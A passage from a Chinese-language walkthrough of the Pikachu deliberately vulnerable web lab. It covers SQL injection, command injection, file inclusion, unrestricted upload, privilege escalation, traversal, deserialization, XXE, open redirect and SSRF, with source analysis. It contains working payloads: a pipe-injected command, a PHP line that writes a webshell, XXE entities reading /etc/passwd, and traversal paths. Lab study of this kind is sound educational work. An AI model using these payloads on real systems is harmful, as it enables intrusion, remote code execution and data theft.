hunter%df'时,%df'被当作一个合法的双字节字符(或者说把那个单引号掩盖起来),使得整个输入字符串仍然保持完整,从而不会触发 SQL 语法错误,这样注入的部分(例如 UNION 语句)就能正确拼接进查询语句,达到预期的注入效果。总结一下:
%df'的作用就是利用多字节编码的特性,将单引号'融入到一个合法的双字节字符中,从而“隐藏”这个单引号,使其不被解析为字符串结束符,达到绕过过滤、闭合字符串的目的。这在宽字节注入(multi-byte injection)中是一个常见技巧。
然后我们就可以继续探测数据表名、字段名、爆库等操作


这里的 table_name 需要输入十六进制的users,因为单引号会被转义
- 'u' 的 ASCII 值是 117,十六进制为 0x75
- 's' 的 ASCII 值是 115,十六进制为 0x73
- 'e' 的 ASCII 值是 101,十六进制为 0x65
- 'r' 的 ASCII 值是 114,十六进制为 0x72
- 's' 的 ASCII 值是 115,十六进制为 0x73

RCE

[!NOTE]
Windows系统:
- |:只执行后面的语句。
- ||:如果前面的语句执行失败,则执行后面的语句
- &:两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。
- &&:如果前面的语句为假,则直接出错,也不执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。
LInux系统:
- ;:执行完前面的语句再执行后面的语句,当有一条命令执行失败时,不会影响其他语句的执行。
- |:只执行后面的语句。
- ||:只有前面的语句执行出错时,执行后面的语句
- &:两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。
- &&:如果前面的语句为假则直接出错,也不再执行后面的语句;前面的语句为真则不执行后面的语句
1、exec "ping"

ping 一个 本地(127.0.0.1)

使用 | 符号执行恶意语句
127.0.0.1 | dir C:

之后就可以通过这个命令执行写入一些webshell,然后反弹连接之类的操作
源码分析:关键部分不做过滤等处理,直接变量拼接到shell执行命令当中
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
$ip=$_POST['ipaddress'];
// $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
if(stristr(php_uname('s'), 'windows')){
// var_dump(php_uname('s'));
$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
}else {
$result.=shell_exec('ping -c 4 '.$ip);
}
}
2、exec "eval"

输入 phpinfo();

这里同样可以上传shell: fputs(fopen('shell.php', 'w'), '<?php assert($_POST[fin];?>');,执行后,可以看到成功上传一个 shell.php 文件到目标的 rec 目录了,之后使用webshell连接工具
关键源码:可以看出if语句中直接执行了我们输入的 txt 内容,
if(isset($_POST['submit']) && $_POST['txt'] != null){
if(@!eval($_POST['txt'])){
$html.="<p>你喜欢的字符还挺奇怪的!</p>";
}
}
File Inclusion

1、File Inclusion(local)

观察url中,filename的参数是 file1.php
然后,依次查看其他图片发现 filename 的参数在变化

尝试直接修改参数,改为 file6.php。可以看到发现了一个 secret box!

既然可以通过修改filename参数直接”越权“去访问文件,那么尝试
filename=../../../../index.html
可以看到直接返回了 phpstudy 的 index.html

关键源码:
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";//变量传进来直接包含,没做任何的安全限制
// //安全的写法,使用白名单,严格指定包含的文件名
// if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
// include "include/$filename";
// }
}
2、File Inclusion(remote)

可以看到整个url里面还是filename参数,只不过多了一个include,像之前一样直接尝试修改成file6

然后我们直接filename修改为百度的网址,可以看到页面中出现了百度的主页

也就是说文件包含使得你可以远程访问其他页面了
这样我们可以在自己服务器上写一个木马文件,然后将这里的filename参数修改为我们木马文件的链接,使得远程包含我们的木马文件,然后再连接getshell
关键代码:
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "$filename";//变量传进来直接包含,没做任何的安全限制
}
Unsafe Filedownload

抓一个下载头像图片的包查看

通过 request 可以查看到这里的GET 地址有个filename的参数值就是我们请求图片的名称
尝试更改filename的值,比如(这里我们是假设提前知道了这个目录存在这个文件名的)

可以看到这里的response是已经吧index.php文件内容打印出来了,说明下载成功。
Unsafe Fileupload

1、client check

这里提示只允许上传图片,我用php写了个一句话木马,尝试上传,结果显示“上传文件不符合要求,请重新选择”。
那就找个图片上传,抓个包

将filename参数改为php的后缀,并且将post数据内容改为php一句话木马,点击上传

上传成功,之后就可以通过蚁剑、哥斯拉等webshell管理工具连接了
源码分析:前端 JavaScript 检查仅仅在用户浏览器中执行,攻击者可以很容易禁用 JavaScript 或直接构造 HTTP 请求,从而绕过扩展名的校验。
if(isset($_POST['submit'])){
// var_dump($_FILES);
$save_path='uploads';//指定在当前目录建立一个目录
$upload=upload_client('uploadfile',$save_path);//调用函数
if($upload['return']){
$html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";
}else{
$html.="<p class=notice>{$upload['error']}</p>";
}
}
<script>
function checkFileExt(filename)
{
var flag = false; //状态
var arr = ["jpg","png","gif"];
//取出上传文件的扩展名
var index = filename.lastIndexOf(".");
var ext = filename.substr(index+1);
//比较
for(var i=0;i<arr.length;i++)
{
if(ext == arr[i])
{
flag = true; //一旦找到合适的,立即退出循环
break;
}
}
//条件判断
if(!flag)
{
alert("上传的文件不符合要求,请重新选择!");
location.reload(true);
}
}
</script>
2、MIME type

我们这里同样上传一个图片,但是还是把图片的数据包和名称给改了

上传成功
源码分析:可以看到,这里比上一关多了一个mime的数组,该数组指定了上传文件的MIME类型。我们这里是由于直接上传的图片,所以就直接过了,如果上传的其他类型的文件,就需要把 MIME类型修改为图片的
if(isset($_POST['submit'])){
// var_dump($_FILES);
$mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。
$save_path='uploads';//指定在当前目录建立一个目录
$upload=upload_sick('uploadfile',$mime,$save_path);//调用函数
if($upload['return']){
$html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";
}else{
$html.="<p class=notice>{$upload['error']}</p>";
}
}
3、getimagesize

还是同样,但是会显示“上传文件的后缀名不能为空,且必须是jpg,jpeg,png中的一个”

之后将filename改为之前的图片后缀“1.png”,post数据内容不改,Send,显示“你上传的是个假图片,不要欺骗我!”,说明对数据内容进行校验了,但是不确定有没有校验恶意代码,尝试重新抓一个上传包,在数据最后加一行phpinfo()代码

成功上传
源码分析:
if(isset($_POST['submit'])){
$type=array('jpg','jpeg','png');//指定类型
$mime=array('image/jpg','image/jpeg','image/png');
$save_path='uploads'.date('/Y/m/d/');//根据当天日期生成一个文件夹
$upload=upload('uploadfile','512000',$type,$mime,$save_path);//调用函数
if($upload['return']){
$html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['save_path']}</p>";
}else{
$html.="<p class=notice>{$upload['error']}</p>";
}
}
Over Permission

1、水平越权

先登陆进去,看到按钮”点击查看个人信息“,点击的时候抓个包。
可以看到返回包是 lucy 的个人信息

把GET提交的username参数修改为 lili,直接就能看到 lili 的个人信息

2、垂直越权

先用 pikachu 普通用户登录,可以看到用户列表,但是只有查看权限。(此时为op2_user.php)

再用admin登录,可以看到多了增删查功能。(此时为op2_admin.php)

这里有两种越权方式
- 第一种
先进 pikachu 普通用户页面,然后直接修改url为********/pikachu/vul/overpermission/op2/op2_admin_edit.php,可以直接进入到添加用户页面
- 第二种
用 admin 用户权限添加一个新用户,并且抓包,将之前 pikachu 用户的普通 cookie 替换到这个 admin 的cookie,然后forward。
就相当于实现了用普通用户进入了 添加用户 页面

../../

1、目录遍历

点击其中一个链接,可以看到url后面变成了dir_list.php?title=jarheads.php,修改title参数的值
改为:title=../../../../../../windows/win.ini

敏感信息泄露

1、IcanseeyourABC

直接查看网页源码就发现注释里面泄露了账号密码:1111/123456

还有其他的方式,比如目录扫描等,都可以检测出来敏感信息或者目录
PHP反序列化

1、PHP反序列化漏洞

在概述里,给了个xss的payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

也就是说,我们是将自己的恶意代码序列化之后发送给后端,后端直接将序列化数据给反序列化
源码分析(关键部分):
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
?>
XXE

1、XXE漏洞
XXE(XML External Entity)漏洞的核心在于利用 XML 支持外部实体(External Entity)定义的机制,让服务器解析并访问攻击者指定的文件或资源。

结合XML数据格式,简单构造一个读取windows文件的payload:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<a>&xxe;</a>

源码分析:可以看到源码里面有提示了一些测试用的payload,可以尝试。simplexml_load_string() 是一个 PHP 内置函数,用于将 XML 字符串解析为一个对象。LIBXML_NOENT 非常关键!它允许外部实体(XXE)在解析过程中被替换。
//payload,url编码一下:
$xxepayload1 = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$xxetest = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker "ESHLkangi">
]>
<name>&hacker;</name>
EOF;
//$xxedata = simplexml_load_string($xxetest,'SimpleXMLElement');
//print_r($xxedata);
//查看当前LIBXML的版本
//print_r(LIBXML_VERSION);
$html='';
//考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析
if(isset($_POST['submit']) and $_POST['xml'] != null){
$xml =$_POST['xml'];
// $xml = $test;
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
if($data){
// 直接将解析出来的 $data 对象打印出来。
$html.="<pre>{$data}</pre>";
}else{
$html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
}
}
URL重定向

1、不安全的URL跳转

查看网页源码,可以看到后面俩href属性的值不一样了,第三个返回了unsafere.php页面,而最后一个返回了url=i的页面。也就是说,url这个参数控制了页面跳转方向
构造payload:url=https://www.baidu.com,就直接跳转到百度了
所以我们可以将url参数修改成我们自己的钓鱼页面
SSRF

1、SSRF(curl)

点击之后,确实跳转到一个页面,出现了一首诗。重点在于url

url参数定向到了info1.php文件,所以这里其实是用户通过点击这个href,使服务器请求了info1.php文件。
那么我们可以修改url参数,让服务器访问恶意文件,比如:


浙公网安备 33010602011771号